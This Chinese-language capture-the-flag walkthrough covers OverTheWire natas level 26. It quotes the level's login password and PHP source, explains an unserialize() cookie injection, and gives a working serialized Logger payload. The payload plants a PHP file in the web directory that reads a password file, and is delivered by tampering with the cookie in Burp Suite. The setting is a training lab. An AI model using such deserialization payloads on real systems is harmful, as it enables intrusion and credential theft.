natas Level 26 -> 27 - OverTheWire 通关记录

我们输入级别 26 的凭据。

  • 用户:natas26

  • 密码:cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE

登录后,我们会在 Level 26 主页上找到。我们显示输入一些坐标来画一条线,首先我们检查源代码。

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>

审计

函数调用图

+-------------------+
|  session_start()  |
+-------------------+
        |
        v
+-------------------+         +---------------------+
|drawImage($imgfile)|-------> | drawFromUserdata()  | 
+-------------------+         +---------------------+
                                    |
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
         unserialize()反序列化函数使cookie成为潜在注入点
                                    |
                                    v
+--------------------------------------------+
|           showImage($imgfile)              |
+--------------------------------------------+
        |
        v
+---------------------------------+
| storeData() (GET / COOKIE)      |
+---------------------------------+

正常流程下程序调用输入结果与cookie中的数据并绘制图像然后将本次输入结果存入cookie中。在新建Logger对象时自动调用_construct魔术变量,当脚本执行结束时,PHP会自动调用所有对象的 _destruct() 方法,以确保在脚本结束前所有对象都能被正确销毁。由于cookie并没有进行过滤,只是进行了简单的编码,且_destruct可以写入我们指定文件,我们可以利用unserialize() 将马注入到我们可以访问的img/目录下,只需要改写cookie中的drawing就可以。

a:1:{i:0;O:6:"Logger":3:{s:15:"LoggerlogFile";s:18:"img/acbdefg173.php";s:15:"LoggerinitMsg";s:4:"null";s:15:"LoggerexitMsg";s:61:"<?php echo file_get_contents('/etc/natas_webpass/natas27');?>";}}

用burpsuite拦截并篡改cookie,以base64编码格式写入上面的序列化内容完成注入。

没有成功可能是没触发drawFromUserdata()函数,也就是说,x1,x2,y1,y2不能为空(建议burp的内嵌浏览器在注入前清空一下cookie,此为经验之谈)

然后访问对应上传的php文件位置即可得出下一关的密码,比如文章中的http://natas26.natas.labs.overthewire.org/img/acbdefg173.php